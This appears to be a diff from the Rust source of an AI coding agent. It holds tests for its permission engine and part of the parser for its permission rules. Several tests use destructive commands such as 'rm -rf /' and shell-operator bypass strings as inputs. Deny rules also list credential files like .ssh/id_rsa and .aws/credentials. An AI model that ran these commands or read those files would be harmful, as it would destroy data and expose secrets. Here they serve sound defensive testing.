fn rule_for(pattern: &str) -> PermissionRule {
|
||||
PermissionRule {
|
||||
action: RuleAction::Allow,
|
||||
tool: ToolFilter::Any,
|
||||
pattern: Some(pattern.to_string()),
|
||||
pattern_mode: PatternMode::Glob,
|
||||
}
|
||||
}
|
||||
|
||||
fn domain_rule(pattern: &str) -> PermissionRule {
|
||||
PermissionRule {
|
||||
action: RuleAction::Allow,
|
||||
tool: ToolFilter::WebFetch,
|
||||
pattern: Some(pattern.to_string()),
|
||||
pattern_mode: PatternMode::Domain,
|
||||
}
|
||||
}
|
||||
|
||||
fn matches(access: &AccessKind, rule: &PermissionRule) -> bool {
|
||||
let policy = CompiledPolicy::new(PermissionConfig::new(vec![rule.clone()]));
|
||||
let cr = CompiledRule {
|
||||
rule: &policy.config.rules[0],
|
||||
matcher: policy.matchers[0].as_ref(),
|
||||
};
|
||||
pattern_matches(access, &cr)
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_bash_pattern_matching() {
|
||||
let access = AccessKind::Bash("npm install".to_string());
|
||||
assert!(matches(&access, &rule_for("npm*")));
|
||||
assert!(matches(&access, &rule_for("npm install")));
|
||||
assert!(!matches(&access, &rule_for("cargo*")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn rule_is_catchall_shares_the_evaluator() {
|
||||
let rule = |tool: ToolFilter, pattern: Option<&str>, mode: PatternMode| PermissionRule {
|
||||
action: RuleAction::Allow,
|
||||
tool,
|
||||
pattern: pattern.map(str::to_string),
|
||||
pattern_mode: mode,
|
||||
};
|
||||
let glob = |tool: ToolFilter, p: Option<&str>| rule(tool, p, PatternMode::Glob);
|
||||
|
||||
// Bare / universal / prefix-regime globs are catch-alls in every
|
||||
// substitute dimension, including `Any` (commands, MCP names, URLs, paths).
|
||||
for tool in [
|
||||
ToolFilter::Bash,
|
||||
ToolFilter::Mcp,
|
||||
ToolFilter::WebFetch,
|
||||
ToolFilter::Any,
|
||||
] {
|
||||
assert!(rule_is_catchall(&glob(tool.clone(), None)), "{tool:?} bare");
|
||||
assert!(
|
||||
rule_is_catchall(&glob(tool.clone(), Some("*"))),
|
||||
"{tool:?} *"
|
||||
);
|
||||
assert!(
|
||||
rule_is_catchall(&glob(tool.clone(), Some("**"))),
|
||||
"{tool:?} **"
|
||||
);
|
||||
// `?*` matches every non-empty input — the prefix-regime gap the old
|
||||
// empty-string probe missed, now closed for `Any` too.
|
||||
assert!(
|
||||
rule_is_catchall(&glob(tool.clone(), Some("?*"))),
|
||||
"{tool:?} ?*"
|
||||
);
|
||||
}
|
||||
// `Any(**/*)` is also universal (preserves the old Any-detector case).
|
||||
assert!(rule_is_catchall(&glob(ToolFilter::Any, Some("**/*"))));
|
||||
|
||||
// Shape-specific catch-alls a bash-shaped probe missed, judged via the
|
||||
// real matcher.
|
||||
assert!(rule_is_catchall(&glob(ToolFilter::WebFetch, Some("*://*"))));
|
||||
assert!(rule_is_catchall(&glob(ToolFilter::Mcp, Some("*__*"))));
|
||||
// `Any` also counts when it fully opens a single dimension (all web).
|
||||
assert!(rule_is_catchall(&glob(ToolFilter::Any, Some("*://*"))));
|
||||
|
||||
// Scoped grants survive in every dimension; for `Any`, a pattern scoped
|
||||
// to one regime fails the others' probes.
|
||||
assert!(!rule_is_catchall(&glob(ToolFilter::Bash, Some("git *"))));
|
||||
assert!(!rule_is_catchall(&glob(ToolFilter::Bash, Some("npm*"))));
|
||||
assert!(!rule_is_catchall(&glob(ToolFilter::Mcp, Some("github__*"))));
|
||||
assert!(!rule_is_catchall(&glob(
|
||||
ToolFilter::WebFetch,
|
||||
Some("https://api.example.com/*")
|
||||
)));
|
||||
assert!(!rule_is_catchall(&glob(ToolFilter::Any, Some("src/**"))));
|
||||
assert!(!rule_is_catchall(&glob(ToolFilter::Any, Some("git *"))));
|
||||
// Domain mode is judged by the real domain matcher: one domain is scoped.
|
||||
assert!(!rule_is_catchall(&rule(
|
||||
ToolFilter::WebFetch,
|
||||
Some("evil.example.com"),
|
||||
PatternMode::Domain
|
||||
)));
|
||||
// Read/Edit/Grep are file-access only: never a `--yolo`-substitute catch-all.
|
||||
assert!(!rule_is_catchall(&glob(ToolFilter::Read, Some("**"))));
|
||||
assert!(!rule_is_catchall(&glob(ToolFilter::Edit, Some("*"))));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_edit_path_mode() {
|
||||
// * doesn't cross / in path mode; ** does
|
||||
let access = AccessKind::Edit("/path/to/file.rs".to_string());
|
||||
assert!(!matches(&access, &rule_for("/path*")));
|
||||
assert!(matches(&access, &rule_for("/path/**")));
|
||||
assert!(matches(&access, &rule_for("/path/**/file.rs")));
|
||||
assert!(matches(&access, &rule_for("**/*.rs")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_web_fetch_domain_matching() {
|
||||
let access = AccessKind::WebFetch("https://api.example.com/v1/data".to_string());
|
||||
assert!(matches(&access, &domain_rule("example.com")));
|
||||
assert!(matches(&access, &domain_rule("api.example.com")));
|
||||
assert!(!matches(&access, &domain_rule("other.com")));
|
||||
// www. normalization
|
||||
let www = AccessKind::WebFetch("https://www.example.com/page".to_string());
|
||||
assert!(matches(&www, &domain_rule("example.com")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_none_and_wildcard_patterns() {
|
||||
// None pattern = match all (used by bare tool rules like "Bash" with no specifier)
|
||||
let none_rule = PermissionRule {
|
||||
action: RuleAction::Allow,
|
||||
tool: ToolFilter::Any,
|
||||
pattern: None,
|
||||
pattern_mode: PatternMode::Glob,
|
||||
};
|
||||
assert!(matches(&AccessKind::Bash("anything".into()), &none_rule));
|
||||
assert!(matches(&AccessKind::Read(None), &none_rule));
|
||||
|
||||
// Read(None) should not match a specific pattern
|
||||
assert!(!matches(&AccessKind::Read(None), &rule_for("src/*")));
|
||||
}
|
||||
|
||||
// ── tool_filter_matches tests ──────────────────────────────────────────
|
||||
|
||||
#[test]
|
||||
fn test_tool_filter_any() {
|
||||
assert!(tool_filter_matches(
|
||||
&AccessKind::Bash("x".into()),
|
||||
&ToolFilter::Any
|
||||
));
|
||||
assert!(tool_filter_matches(
|
||||
&AccessKind::Edit("x".into()),
|
||||
&ToolFilter::Any
|
||||
));
|
||||
assert!(tool_filter_matches(
|
||||
&AccessKind::Read(None),
|
||||
&ToolFilter::Any
|
||||
));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_tool_filter_bash() {
|
||||
assert!(tool_filter_matches(
|
||||
&AccessKind::Bash("x".into()),
|
||||
&ToolFilter::Bash
|
||||
));
|
||||
assert!(!tool_filter_matches(
|
||||
&AccessKind::Edit("x".into()),
|
||||
&ToolFilter::Bash
|
||||
));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_tool_filter_edit() {
|
||||
assert!(tool_filter_matches(
|
||||
&AccessKind::Edit("x".into()),
|
||||
&ToolFilter::Edit
|
||||
));
|
||||
assert!(!tool_filter_matches(
|
||||
&AccessKind::Bash("x".into()),
|
||||
&ToolFilter::Edit
|
||||
));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_tool_filter_read() {
|
||||
assert!(tool_filter_matches(
|
||||
&AccessKind::Read(None),
|
||||
&ToolFilter::Read
|
||||
));
|
||||
assert!(!tool_filter_matches(
|
||||
&AccessKind::Bash("x".into()),
|
||||
&ToolFilter::Read
|
||||
));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_tool_filter_mcp() {
|
||||
assert!(tool_filter_matches(
|
||||
&AccessKind::MCPTool {
|
||||
name: "fs".into(),
|
||||
input: serde_json::Value::Null,
|
||||
},
|
||||
&ToolFilter::Mcp
|
||||
));
|
||||
assert!(!tool_filter_matches(
|
||||
&AccessKind::Read(None),
|
||||
&ToolFilter::Mcp
|
||||
));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_tool_filter_web_fetch() {
|
||||
assert!(tool_filter_matches(
|
||||
&AccessKind::WebFetch("https://example.com".into()),
|
||||
&ToolFilter::WebFetch
|
||||
));
|
||||
assert!(!tool_filter_matches(
|
||||
&AccessKind::Bash("x".into()),
|
||||
&ToolFilter::WebFetch
|
||||
));
|
||||
}
|
||||
|
||||
// ── evaluate tests ─────────────────────────────────────────────────────
|
||||
|
||||
fn evaluate_policy(access: &AccessKind, config: &PermissionConfig) -> Option<Decision> {
|
||||
CompiledPolicy::new(config.clone()).evaluate(access)
|
||||
}
|
||||
|
||||
fn bash_rule(action: RuleAction, pattern: &str) -> PermissionRule {
|
||||
PermissionRule {
|
||||
action,
|
||||
tool: ToolFilter::Bash,
|
||||
pattern: Some(pattern.to_string()),
|
||||
pattern_mode: PatternMode::Glob,
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_evaluate_policy_deny_beats_allow() {
|
||||
let policy = PermissionConfig::new(vec![
|
||||
bash_rule(RuleAction::Allow, "*"),
|
||||
bash_rule(RuleAction::Deny, "rm*"),
|
||||
]);
|
||||
let result = evaluate_policy(&AccessKind::Bash("rm -rf /".into()), &policy);
|
||||
assert!(matches!(result, Some(Decision::Reject(_))));
|
||||
let result = evaluate_policy(&AccessKind::Bash("ls".into()), &policy);
|
||||
assert!(matches!(result, Some(Decision::Allow)));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_evaluate_policy_ask_forces_prompt() {
|
||||
let policy = PermissionConfig::new(vec![
|
||||
bash_rule(RuleAction::Allow, "*"),
|
||||
bash_rule(RuleAction::Ask, "git push*"),
|
||||
]);
|
||||
let result = evaluate_policy(&AccessKind::Bash("git push origin main".into()), &policy);
|
||||
assert!(matches!(result, Some(Decision::Ask)));
|
||||
let result = evaluate_policy(&AccessKind::Bash("ls".into()), &policy);
|
||||
assert!(matches!(result, Some(Decision::Allow)));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_evaluate_policy_deny_beats_ask() {
|
||||
let policy = PermissionConfig::new(vec![
|
||||
bash_rule(RuleAction::Ask, "rm*"),
|
||||
bash_rule(RuleAction::Deny, "rm -rf*"),
|
||||
]);
|
||||
let result = evaluate_policy(&AccessKind::Bash("rm -rf /".into()), &policy);
|
||||
assert!(matches!(result, Some(Decision::Reject(_))));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn claude_bash_colon_wildcard_deny_rejects_by_prefix() {
|
||||
use crate::permission::rules::parse_permission_rule;
|
||||
// A `Bash(cmd:*)` deny must reject by command prefix, not sit as a dead `cmd:*` glob.
|
||||
let rule = parse_permission_rule("Bash(sed:*)", RuleAction::Deny).unwrap();
|
||||
let policy = PermissionConfig::new(vec![rule]);
|
||||
let result = evaluate_policy(&AccessKind::Bash("sed -n '1,5p' file.txt".into()), &policy);
|
||||
assert!(matches!(result, Some(Decision::Reject(_))));
|
||||
// Deliberate superset of upstream word-boundary `:*`: raw prefix also denies `sed-evil`.
|
||||
assert!(matches!(
|
||||
evaluate_policy(&AccessKind::Bash("sed-evil".into()), &policy),
|
||||
Some(Decision::Reject(_))
|
||||
));
|
||||
assert!(evaluate_policy(&AccessKind::Bash("ls".into()), &policy).is_none());
|
||||
}
|
||||
|
||||
// ── CompiledPolicy reuse tests ────────────────────────────────────────
|
||||
|
||||
#[test]
|
||||
fn test_compiled_policy_reuse_across_evaluations() {
|
||||
let compiled = CompiledPolicy::new(PermissionConfig::new(vec![
|
||||
bash_rule(RuleAction::Allow, "npm*"),
|
||||
bash_rule(RuleAction::Deny, "rm*"),
|
||||
bash_rule(RuleAction::Ask, "git push*"),
|
||||
]));
|
||||
|
||||
assert!(matches!(
|
||||
compiled.evaluate(&AccessKind::Bash("npm test".into())),
|
||||
Some(Decision::Allow)
|
||||
));
|
||||
assert!(matches!(
|
||||
compiled.evaluate(&AccessKind::Bash("rm -rf /".into())),
|
||||
Some(Decision::Reject(_))
|
||||
));
|
||||
assert!(matches!(
|
||||
compiled.evaluate(&AccessKind::Bash("git push origin".into())),
|
||||
Some(Decision::Ask)
|
||||
));
|
||||
assert!(
|
||||
compiled
|
||||
.evaluate(&AccessKind::Bash("cargo build".into()))
|
||||
.is_none()
|
||||
);
|
||||
}
|
||||
|
||||
// ── whitespace prefix bypass regression tests ─────────────────
|
||||
|
||||
#[test]
|
||||
fn test_bash_deny_not_bypassed_by_whitespace_prefix() {
|
||||
let policy = PermissionConfig::new(vec![bash_rule(RuleAction::Deny, "rm*")]);
|
||||
let result = evaluate_policy(&AccessKind::Bash(" rm -rf /".into()), &policy);
|
||||
assert!(matches!(result, Some(Decision::Reject(_))));
|
||||
let result = evaluate_policy(&AccessKind::Bash("\trm -rf /".into()), &policy);
|
||||
assert!(matches!(result, Some(Decision::Reject(_))));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_bash_deny_not_bypassed_by_whitespace_with_glob() {
|
||||
let policy = PermissionConfig::new(vec![
|
||||
bash_rule(RuleAction::Deny, "rm*"),
|
||||
bash_rule(RuleAction::Allow, "*"),
|
||||
]);
|
||||
let result = evaluate_policy(&AccessKind::Bash(" rm -rf /".into()), &policy);
|
||||
assert!(matches!(result, Some(Decision::Reject(_))));
|
||||
let result = evaluate_policy(&AccessKind::Bash("ls -la".into()), &policy);
|
||||
assert!(matches!(result, Some(Decision::Allow)));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_bash_pattern_trims_whitespace() {
|
||||
let access = AccessKind::Bash(" npm install".to_string());
|
||||
assert!(matches(&access, &rule_for("npm*")));
|
||||
assert!(matches(&access, &rule_for("npm install")));
|
||||
|
||||
let access = AccessKind::Bash("\t\t rm -rf".to_string());
|
||||
assert!(matches(&access, &rule_for("rm*")));
|
||||
}
|
||||
|
||||
// ── Deny bypass via shell operators ──────────────────────────────────
|
||||
|
||||
#[test]
|
||||
fn bash_deny_enforced_in_non_leading_command_position() {
|
||||
let policy = CompiledPolicy::new(PermissionConfig::new(vec![
|
||||
bash_rule(RuleAction::Allow, "*"),
|
||||
bash_rule(RuleAction::Deny, "id *"),
|
||||
bash_rule(RuleAction::Deny, "id"),
|
||||
]));
|
||||
// A denied command after an operator / wrapper / `bash -c` must be rejected.
|
||||
for cmd in [
|
||||
"echo SAFE && id > M.txt",
|
||||
"echo SAFE; id > M.txt",
|
||||
"echo SAFE | cat; id > M.txt",
|
||||
"timeout 5 id",
|
||||
"bash -c \"id > M.txt\"",
|
||||
"bash -c -x \"id > M.txt\"",
|
||||
"bash -c -- \"id > M.txt\"",
|
||||
] {
|
||||
assert!(
|
||||
matches!(
|
||||
policy.evaluate_bash_command_policy(cmd),
|
||||
Some(Decision::Reject(_))
|
||||
),
|
||||
"denied command in a non-leading position must be rejected: {cmd}"
|
||||
);
|
||||
}
|
||||
// Scripts that cannot be decomposed must fail closed (prompt), not allow.
|
||||
for cmd in ["OUT=$(id); echo \"$OUT\" > M.txt", "echo \"`id`\" > M.txt"] {
|
||||
assert!(
|
||||
matches!(
|
||||
policy.evaluate_bash_command_policy(cmd),
|
||||
Some(Decision::Ask)
|
||||
),
|
||||
"an undecomposable script must escalate, not fall through to allow: {cmd}"
|
||||
);
|
||||
}
|
||||
// A clean compound with no denied segment is not escalated.
|
||||
assert!(
|
||||
policy
|
||||
.evaluate_bash_command_policy("echo hi && ls")
|
||||
.is_none()
|
||||
);
|
||||
// With no Bash deny/ask rules the gate is inert.
|
||||
let no_restrictions = CompiledPolicy::new(PermissionConfig::new(vec![bash_rule(
|
||||
RuleAction::Allow,
|
||||
"*",
|
||||
)]));
|
||||
assert!(
|
||||
no_restrictions
|
||||
.evaluate_bash_command_policy("echo SAFE && id")
|
||||
.is_none()
|
||||
);
|
||||
}
|
||||
|
||||
// ── default action tests ──────────────────────────────────────
|
||||
|
||||
#[test]
|
||||
fn test_rule_action_defaults_to_deny() {
|
||||
assert_eq!(RuleAction::default(), RuleAction::Deny);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_default_action_rule_denies_access() {
|
||||
let policy = PermissionConfig::new(vec![PermissionRule {
|
||||
action: RuleAction::default(),
|
||||
tool: ToolFilter::Any,
|
||||
pattern: None,
|
||||
pattern_mode: PatternMode::Glob,
|
||||
}]);
|
||||
let result = evaluate_policy(&AccessKind::Bash("anything".into()), &policy);
|
||||
assert!(
|
||||
matches!(result, Some(Decision::Reject(_))),
|
||||
"Default RuleAction must deny access, not allow it"
|
||||
);
|
||||
}
|
||||
|
||||
// ── other tests from main ────────────────────────────────────────────
|
||||
|
||||
#[test]
|
||||
fn mcp_tool_respects_deny_policy() {
|
||||
let policy = PermissionConfig::new(vec![PermissionRule {
|
||||
action: RuleAction::Deny,
|
||||
tool: ToolFilter::Mcp,
|
||||
pattern: Some("evil_tool".into()),
|
||||
pattern_mode: PatternMode::Glob,
|
||||
}]);
|
||||
let result = evaluate_policy(
|
||||
&AccessKind::MCPTool {
|
||||
name: "evil_tool".into(),
|
||||
input: serde_json::Value::Null,
|
||||
},
|
||||
&policy,
|
||||
);
|
||||
assert!(matches!(result, Some(Decision::Reject(_))));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_evaluate_policy_glob_edit_rule() {
|
||||
let policy = PermissionConfig::new(vec![PermissionRule {
|
||||
action: RuleAction::Allow,
|
||||
tool: ToolFilter::Edit,
|
||||
pattern: Some("src/**/*.rs".into()),
|
||||
pattern_mode: PatternMode::Glob,
|
||||
}]);
|
||||
assert!(matches!(
|
||||
evaluate_policy(&AccessKind::Edit("src/lib.rs".into()), &policy),
|
||||
Some(Decision::Allow)
|
||||
));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn deny_web_search_does_not_block_read_bash_or_webfetch() {
|
||||
let policy = PermissionConfig::new(vec![PermissionRule {
|
||||
action: RuleAction::Deny,
|
||||
tool: ToolFilter::WebSearch,
|
||||
pattern: None,
|
||||
pattern_mode: PatternMode::Glob,
|
||||
}]);
|
||||
assert!(matches!(
|
||||
evaluate_policy(&AccessKind::WebSearch("rust lang".into()), &policy),
|
||||
Some(Decision::Reject(_))
|
||||
));
|
||||
assert!(evaluate_policy(&AccessKind::Read(Some("src/lib.rs".into())), &policy).is_none());
|
||||
assert!(evaluate_policy(&AccessKind::Bash("ls".into()), &policy).is_none());
|
||||
assert!(evaluate_policy(&AccessKind::WebFetch("https://x.com".into()), &policy).is_none());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn deny_web_fetch_still_blocks_only_webfetch() {
|
||||
let policy = PermissionConfig::new(vec![PermissionRule {
|
||||
action: RuleAction::Deny,
|
||||
tool: ToolFilter::WebFetch,
|
||||
pattern: None,
|
||||
pattern_mode: PatternMode::Glob,
|
||||
}]);
|
||||
assert!(matches!(
|
||||
evaluate_policy(&AccessKind::WebFetch("https://x.com".into()), &policy),
|
||||
Some(Decision::Reject(_))
|
||||
));
|
||||
assert!(evaluate_policy(&AccessKind::WebSearch("rust".into()), &policy).is_none());
|
||||
}
|
||||
|
||||
/// The Grep tool reads file contents, so managed `Read` rules must govern it:
|
||||
/// grepping a denied path is denied, an ask path prompts, and an unrestricted
|
||||
/// path is unaffected. A recursive grep (no concrete path) matches no path
|
||||
/// rule — tool-level glob excludes (not the policy) keep traversal safe.
|
||||
#[test]
|
||||
fn grep_tool_covered_by_read_rules() {
|
||||
let read_rule = |action: RuleAction, pattern: &str| PermissionRule {
|
||||
action,
|
||||
tool: ToolFilter::Read,
|
||||
pattern: Some(pattern.to_string()),
|
||||
pattern_mode: PatternMode::Glob,
|
||||
};
|
||||
let config = PermissionConfig::new(vec![
|
||||
read_rule(RuleAction::Deny, "**/.env"),
|
||||
read_rule(RuleAction::Deny, "**/*.pem"),
|
||||
read_rule(RuleAction::Deny, "**/.ssh/**"),
|
||||
read_rule(RuleAction::Deny, "**/.aws/**"),
|
||||
read_rule(RuleAction::Ask, "**/secrets/**"),
|
||||
]);
|
||||
let grep = |p: &str| AccessKind::Grep {
|
||||
path: Some(p.to_string()),
|
||||
glob: None,
|
||||
};
|
||||
for denied in [".env", "key.pem", ".ssh/id_rsa", ".aws/credentials"] {
|
||||
assert!(
|
||||
matches!(
|
||||
evaluate_policy(&grep(denied), &config),
|
||||
Some(Decision::Reject(_))
|
||||
),
|
||||
"grep on a Read-denied path must deny: {denied}"
|
||||
);
|
||||
}
|
||||
assert!(matches!(
|
||||
evaluate_policy(&grep("secrets/value.txt"), &config),
|
||||
Some(Decision::Ask)
|
||||
));
|
||||
assert!(evaluate_policy(&grep("src/main.rs"), &config).is_none());
|
||||
assert!(
|
||||
evaluate_policy(
|
||||
&AccessKind::Grep {
|
||||
path: None,
|
||||
glob: None,
|
||||
},
|
||||
&config,
|
||||
)
|
||||
.is_none()
|
||||
);
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,302 @@
|
||||
//! Native permission rule-string DSL and permission-mode vocabulary.
|
||||
|
||||
use std::str::FromStr;
|
||||
|
||||
use crate::permission::types::{PatternMode, PermissionRule, PromptPolicy, RuleAction, ToolFilter};
|
||||
|
||||
/// Recognized `permissions.defaultMode` values.
|
||||
///
|
||||
/// Unknown strings fail `FromStr` and are treated as [`Self::Default`] at the
|
||||
/// call site (fail-safe) while still claiming the settings scope so a
|
||||
/// typo in a more-specific file blocks a looser parent mode.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub(crate) enum DefaultPermissionMode {
|
||||
Default,
|
||||
AcceptEdits,
|
||||
Plan,
|
||||
/// Classifier-based auto mode. Accepted from settings; seeds the manager's
|
||||
/// auto flag (no separate `disableAutoMode` gate yet — intentional).
|
||||
Auto,
|
||||
DontAsk,
|
||||
BypassPermissions,
|
||||
}
|
||||
|
||||
impl FromStr for DefaultPermissionMode {
|
||||
type Err = String;
|
||||
|
||||
fn from_str(s: &str) -> Result<Self, Self::Err> {
|
||||
match s {
|
||||
"default" => Ok(Self::Default),
|
||||
"acceptEdits" => Ok(Self::AcceptEdits),
|
||||
"plan" => Ok(Self::Plan),
|
||||
"auto" => Ok(Self::Auto),
|
||||
"dontAsk" => Ok(Self::DontAsk),
|
||||
"bypassPermissions" => Ok(Self::BypassPermissions),
|
||||
other => Err(other.to_string()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl DefaultPermissionMode {
|
||||
pub(crate) fn effects(self) -> DefaultModeEffects {
|
||||
match self {
|
||||
Self::AcceptEdits => DefaultModeEffects {
|
||||
accept_edits: true,
|
||||
..Default::default()
|
||||
},
|
||||
Self::BypassPermissions => DefaultModeEffects {
|
||||
bypass_permissions: true,
|
||||
..Default::default()
|
||||
},
|
||||
Self::Default | Self::Plan => DefaultModeEffects::default(),
|
||||
Self::DontAsk => DefaultModeEffects {
|
||||
prompt_policy: PromptPolicy::Deny,
|
||||
..Default::default()
|
||||
},
|
||||
Self::Auto => DefaultModeEffects {
|
||||
prompt_policy: PromptPolicy::Auto,
|
||||
..Default::default()
|
||||
},
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Effects of a `defaultMode` on rules + prompt policy.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)]
|
||||
pub(crate) struct DefaultModeEffects {
|
||||
pub(crate) prompt_policy: PromptPolicy,
|
||||
pub(crate) accept_edits: bool,
|
||||
pub(crate) bypass_permissions: bool,
|
||||
}
|
||||
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// Error Type
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
/// Errors from parsing a permission rule string.
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub enum RuleParseError {
|
||||
/// Tool prefix is recognized but not supported (e.g., "EnterWorktree").
|
||||
UnsupportedToolPrefix { prefix: String },
|
||||
/// Tool prefix is unrecognized.
|
||||
UnknownToolPrefix { prefix: String },
|
||||
/// Rule string is malformed (e.g., missing closing paren).
|
||||
MalformedRule { detail: String },
|
||||
}
|
||||
|
||||
impl std::fmt::Display for RuleParseError {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
match self {
|
||||
RuleParseError::UnsupportedToolPrefix { prefix } => {
|
||||
write!(f, "unsupported tool prefix: {}", prefix)
|
||||
}
|
||||
RuleParseError::UnknownToolPrefix { prefix } => {
|
||||
write!(f, "unknown tool prefix: {}", prefix)
|
||||
}
|
||||
RuleParseError::MalformedRule { detail } => {
|
||||
write!(f, "malformed rule: {}", detail)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl std::error::Error for RuleParseError {}
|
||||
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// Rule Parser
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
/// Parse a permission rule string into a native `PermissionRule`.
|
||||
///
|
||||
/// Supported tool prefixes:
|
||||
/// - `Bash(...)` -> `ToolFilter::Bash`
|
||||
/// - `Read(...)` / `NotebookRead(...)` -> `ToolFilter::Read`
|
||||
/// - `Edit(...)` / `Write(...)` / `NotebookEdit(...)` -> `ToolFilter::Edit`
|
||||
/// - `MCPTool(...)` -> `ToolFilter::Mcp`
|
||||
/// - `Grep(...)` / `Glob(...)` -> `ToolFilter::Grep`
|
||||
/// - `WebFetch(...)` -> `ToolFilter::WebFetch`
|
||||
/// - `WebSearch(...)` -> `ToolFilter::WebSearch`
|
||||
/// - No prefix / bare pattern -> `ToolFilter::Any`
|
||||
///
|
||||
/// `WebFetch` patterns support a `domain:` prefix (e.g., `WebFetch(domain:example.com)`)
|
||||
/// which sets `PatternMode::Domain` for host-level matching instead of glob.
|
||||
///
|
||||
/// Explicitly unsupported (returns `Err`):
|
||||
/// - `EnterWorktree(...)`
|
||||
/// - Any unrecognized tool prefix
|
||||
///
|
||||
/// Pattern semantics:
|
||||
/// - Supports `*` as prefix/suffix/middle wildcard
|
||||
/// - Supports `**` for recursive path matching (zero or more segments)
|
||||
/// - Bash: a trailing `:*` is a prefix idiom — `Bash(cmd:*)` → prefix `cmd`
|
||||
///
|
||||
/// Bare tool names (no parentheses) are recognized and treated as wildcard
|
||||
/// rules for that tool type:
|
||||
/// - `"Bash"` → `{ Allow, Bash, None }` (matches all bash commands)
|
||||
/// - `"Edit"` → `{ Allow, Edit, None }` (matches all edit operations)
|
||||
///
|
||||
/// Examples:
|
||||
/// - `Ok`: `"Bash(npm run build)"` → `{ Allow, Bash, "npm run build" }`
|
||||
/// - `Ok`: `"Read(src/*.rs)"` → `{ Allow, Read, "src/*.rs" }`
|
||||
/// - `Ok`: `"Read(**/src/**)"` → `{ Allow, Read, "**/src/**" }`
|
||||
/// - `Ok`: `"Edit(src/**/*.rs)"` → `{ Allow, Edit, "src/**/*.rs" }`
|
||||
/// - `Ok`: `"Bash"` → `{ Allow, Bash, None }` (bare tool name)
|
||||
/// - `Err`: `"EnterWorktree(*)"` → `UnsupportedToolPrefix`
|
||||
pub fn parse_permission_rule(
|
||||
rule: &str,
|
||||
action: RuleAction,
|
||||
) -> Result<PermissionRule, RuleParseError> {
|
||||
let rule = rule.trim();
|
||||
|
||||
// Try to extract tool prefix: "ToolName(" ... ")"
|
||||
// Use escape-aware parsing to handle \( and \) in content.
|
||||
if let Some(open_paren) = find_first_unescaped(rule, b'(') {
|
||||
let prefix = &rule[..open_paren];
|
||||
let prefix_trimmed = prefix.trim();
|
||||
|
||||
// Find last unescaped closing paren
|
||||
let content_and_close = &rule[open_paren + 1..];
|
||||
let close_paren = find_last_unescaped(content_and_close, b')').ok_or_else(|| {
|
||||
RuleParseError::MalformedRule {
|
||||
detail: "missing closing parenthesis".to_string(),
|
||||
}
|
||||
})?;
|
||||
|
||||
let raw_content = content_and_close[..close_paren].trim();
|
||||
// Empty content or standalone wildcard = tool-wide rule.
|
||||
let pattern = if raw_content.is_empty() || raw_content == "*" {
|
||||
String::new()
|
||||
} else {
|
||||
unescape_rule_content(raw_content)
|
||||
};
|
||||
|
||||
let tool = match tool_name_to_filter(prefix_trimmed) {
|
||||
Some(f) => f,
|
||||
None if prefix_trimmed == "EnterWorktree" => {
|
||||
return Err(RuleParseError::UnsupportedToolPrefix {
|
||||
prefix: prefix_trimmed.to_string(),
|
||||
});
|
||||
}
|
||||
None => {
|
||||
return Err(RuleParseError::UnknownToolPrefix {
|
||||
prefix: prefix_trimmed.to_string(),
|
||||
});
|
||||
}
|
||||
};
|
||||
|
||||
// `Bash(cmd:*)` means "commands starting with cmd"; as a glob it matches nothing.
|
||||
let pattern = if tool == ToolFilter::Bash {
|
||||
strip_bash_colon_wildcard(pattern)
|
||||
} else {
|
||||
pattern
|
||||
};
|
||||
|
||||
let (pattern, pattern_mode) = strip_domain_prefix(pattern);
|
||||
|
||||
let pattern_opt = if pattern.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(pattern)
|
||||
};
|
||||
|
||||
Ok(PermissionRule {
|
||||
action,
|
||||
tool,
|
||||
pattern: pattern_opt,
|
||||
pattern_mode,
|
||||
})
|
||||
} else {
|
||||
if let Some(tool) = tool_name_to_filter(rule) {
|
||||
return Ok(PermissionRule {
|
||||
action,
|
||||
tool,
|
||||
pattern: None,
|
||||
pattern_mode: PatternMode::Glob,
|
||||
});
|
||||
}
|
||||
|
||||
let pattern_opt = if rule.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(rule.to_string())
|
||||
};
|
||||
|
||||
Ok(PermissionRule {
|
||||
action,
|
||||
tool: ToolFilter::Any,
|
||||
pattern: pattern_opt,
|
||||
pattern_mode: PatternMode::Glob,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
/// Map a tool name to the native `ToolFilter`.
|
||||
///
|
||||
/// Recognized tool-filter names. Returns `None` for unrecognized names.
|
||||
pub(crate) fn tool_name_to_filter(name: &str) -> Option<ToolFilter> {
|
||||
match name {
|
||||
